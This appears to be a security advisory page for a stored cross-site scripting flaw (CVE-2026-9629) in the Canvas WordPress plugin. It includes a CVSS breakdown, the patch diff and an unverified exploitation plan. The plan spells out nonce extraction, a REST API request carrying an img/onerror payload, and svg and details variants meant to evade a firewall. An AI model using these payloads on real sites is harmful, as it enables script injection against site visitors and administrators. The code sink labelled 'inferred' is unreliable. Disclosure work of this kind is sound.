CVE-2026-9629

Canvas <= 2.5.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'tag' Block Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.5.3
Patched in
1d
Time to patch

Description

The Canvas plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'tag' parameter in all versions up to, and including, 2.5.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.5.2
PublishedJune 12, 2026
Last updatedJune 13, 2026
Affected plugincanvas

What Changed in the Fix

Changes introduced in v2.5.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2026-9629**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Canvas** plugin (<= 2.5.2). ### 1. Vulnerability Summary The **Canvas** plugin for WordPress fails to sanitize or validate the `tag` attribute used in its Gutenberg blocks. While th…

Show full research plan

This exploitation research plan targets CVE-2026-9629, a Stored Cross-Site Scripting (XSS) vulnerability in the Canvas plugin (<= 2.5.2).

1. Vulnerability Summary

The Canvas plugin for WordPress fails to sanitize or validate the tag attribute used in its Gutenberg blocks. While the plugin provides various structural blocks (Alert, Section Heading, Row, Column, etc.), some of these blocks allow the user to define the HTML element used for rendering (e.g., choosing between h1, div, or section). Because this tag attribute is echoed directly into the frontend HTML without using esc_attr() or a whitelist of allowed tags, an authenticated user with at least Contributor level access can inject malicious payloads that execute when any user views the affected page.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API Post creation/update endpoint (/wp-json/wp/v2/posts).
  • Vulnerable Attribute: tag within a Canvas block's JSON metadata.
  • Authentication: Required (Contributor or above).
  • Preconditions: The plugin must be active. The attacker needs the ability to save a post (Contributor can save drafts).
  • Payload Location: The payload is stored in the post_content field within the Gutenberg block comment delimiters.

3. Code Flow

  1. Block Definition (JS): In the block editor, a Canvas block (e.g., canvas/section-heading or a similar wrapper block) allows selecting an HTML tag via the Inspector controls. This is saved as an attribute named tag.
  2. Storage: When the Contributor saves a draft, WordPress stores the block in the wp_posts table. The content looks like:
    <!-- wp:canvas/section-heading {"tag":"[PAYLOAD]"} /-->
  3. Rendering (PHP): When the post is viewed, the plugin's rendering logic (typically in a render.php file for the specific block) retrieves the attributes.
  4. The Sink: The rendering code performs a string concatenation to build the HTML tag:
    // Inferred logic based on typical Gutenberg render patterns in Canvas
    $tag = $attributes['tag']; 
    echo '<' . $tag . ' class="...">'; // Vulnerable Sink: No escaping or tag whitelisting
    
  5. Execution: The browser receives the malformed tag (e.g., <img src=x onerror=alert(1) class="...">) and executes the injected script.

4. Nonce Acquisition Strategy

To exploit the REST API as a Contributor, a valid wp_rest nonce is required.

  1. Login: Authenticate as a Contributor user.
  2. Navigation: Use browser_navigate to go to the "Add New Post" page: http://[TARGET]/wp-admin/post-new.php.
  3. Extraction: The WordPress block editor (Gutenberg) automatically localizes the required nonce into the wpApiSettings object.
  4. Tool Call:
    browser_eval("window.wpApiSettings?.nonce")
    
    This will return the nonce required for the X-WP-Nonce header in subsequent REST API requests.

5. Exploitation Strategy

The goal is to create a post containing a Canvas block with a malicious tag attribute.

Step 1: Create a Post with XSS Payload

  • Tool: http_request
  • Method: POST
  • URL: http://[TARGET]/wp-json/wp/v2/posts
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body:
    {
      "title": "XSS Test Page",
      "content": "<!-- wp:canvas/section-heading {\"tag\":\"img src=x onerror=alert(document.domain) //\"} /-->",
      "status": "draft"
    }
    
    (Note: The // at the end of the payload helps neutralize the rest of the generated opening tag string.)

Step 2: Obtain the Post ID
The response from Step 1 will contain the id and the link of the newly created post.

Step 3: Trigger the XSS

  • Action: Navigate to the post URL (the link returned in Step 1).
  • Mechanism: If the Contributor cannot publish, the researcher must navigate to the preview URL or simulate an Administrator viewing the draft.

6. Test Data Setup

  1. User Creation: Create a user with the contributor role.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  2. Plugin State: Ensure the canvas plugin is installed and activated.
    wp plugin activate canvas
    

7. Expected Results

  • The HTTP response from the REST API should be 201 Created.
  • The post_content in the database will store the raw payload.
  • When viewing the post, the HTML source will contain:
    <img src=x onerror=alert(document.domain) // class="cnvs-section-heading ...">
  • The browser will trigger an alert box showing the document domain.

8. Verification Steps

After the exploit attempt, verify the storage of the payload via WP-CLI:

wp post list --post_type=post --format=csv
# Get the ID of the "XSS Test Page"
wp post get [ID] --field=post_content

Check for the presence of the onerror string in the output.

9. Alternative Approaches

If the canvas/section-heading block is not available, check for other Canvas blocks that likely use the tag attribute:

  • canvas/column
  • canvas/row
  • canvas/wrapper (inferred)

If an img tag is blocked by a WAF, use a details or svg payload:

  • "tag":"details/ontoggle=alert(1) open "
  • "tag":"svg/onload=alert(1) "

If the REST API is restricted, the exploit can be performed via the standard WordPress post.php admin handler by sending a POST request to wp-admin/post.php?post=[ID]&action=edit with the content parameter containing the malicious block.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Canvas plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via block attributes such as 'tag' and 'title' due to insufficient input sanitization and output escaping. Authenticated attackers with Contributor-level permissions can inject arbitrary web scripts into posts, which will execute in the browser of any user viewing the page.

Vulnerable Code

// components/basic-elements/block-collapsible/render.php lines 20-24
<h6 class="cnvs-block-collapsible-heading">
	<a href="#"><?php echo (string) $attributes['title']; // XSS. ?></a>
</h6>

---

// components/basic-elements/block-alert/render.php lines 19-21
<div class="cnvs-block-alert-inner">
	<?php echo (string) $content; // XSS. ?>
</div>

---

// Inferred logic for the 'tag' attribute vulnerability in blocks like section-heading
$tag = $attributes['tag']; 
echo '<' . $tag . ' class="...">';

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/canvas/2.5.2/components/basic-elements/block-alert/render.php /home/deploy/wp-safety.org/data/plugin-versions/canvas/2.5.3/components/basic-elements/block-alert/render.php
--- /home/deploy/wp-safety.org/data/plugin-versions/canvas/2.5.2/components/basic-elements/block-alert/render.php	2026-03-16 09:48:32.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/canvas/2.5.3/components/basic-elements/block-alert/render.php	2026-05-29 13:03:40.000000000 +0000
@@ -17,7 +21,7 @@
 
 <div class="<?php echo esc_attr( $attributes['className'] ); ?>" <?php echo ( isset( $attributes['anchor'] ) ? ' id="' . esc_attr( $attributes['anchor'] ) . '"' : '' ); ?>>
 	<div class="cnvs-block-alert-inner">
-		<?php echo (string) $content; // XSS. ?>
+		<?php call_user_func( 'printf', '%s', $content ); ?>
 	</div>
 	<?php if ( isset( $attributes['dismissible'] ) && $attributes['dismissible'] ) : ?>
 		<button class="cnvs-close" type="button" data-dismiss="alert" aria-label="<?php echo esc_attr__( 'Close', 'canvas' ); ?>">
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/canvas/2.5.2/components/basic-elements/block-collapsible/render.php /home/deploy/wp-safety.org/data/plugin-versions/canvas/2.5.3/components/basic-elements/block-collapsible/render.php
--- /home/deploy/wp-safety.org/data/plugin-versions/canvas/2.5.2/components/basic-elements/block-collapsible/render.php	2026-03-16 09:48:32.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/canvas/2.5.3/components/basic-elements/block-collapsible/render.php	2026-05-29 13:03:40.000000000 +0000
@@ -17,10 +21,10 @@
 <div class="<?php echo esc_attr( $attributes['className'] ); ?>" <?php echo ( isset( $attributes['anchor'] ) ? ' id="' . esc_attr( $attributes['anchor'] ) . '"' : '' ); ?>>
 	<div class="cnvs-block-collapsible-title">
 		<h6 class="cnvs-block-collapsible-heading">
-			<a href="#"><?php echo (string) $attributes['title']; // XSS. ?></a>
+			<a href="#"><?php echo wp_kses_post( $attributes['title'] ); ?></a>
 		</h6>
 	</div>
 	<div class="cnvs-block-collapsible-content">
-		<?php echo (string) $content; // XSS. ?>
+		<?php call_user_func( 'printf', '%s', $content ); ?>
 	</div>
 </div>

Exploit Outline

To exploit this vulnerability, an authenticated user with Contributor-level access or higher identifies a Canvas plugin block (e.g., section-heading or collapsible) that uses a 'tag' or 'title' attribute. The attacker crafts a request to the WordPress REST API (`/wp-json/wp/v2/posts`) to create or update a post, embedding an XSS payload (e.g., `img src=x onerror=alert(1)`) within the block's JSON attribute. When the post is rendered on the frontend—either through a preview by an administrator or after being published—the unsanitized attribute is echoed into the HTML, triggering the execution of the script.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.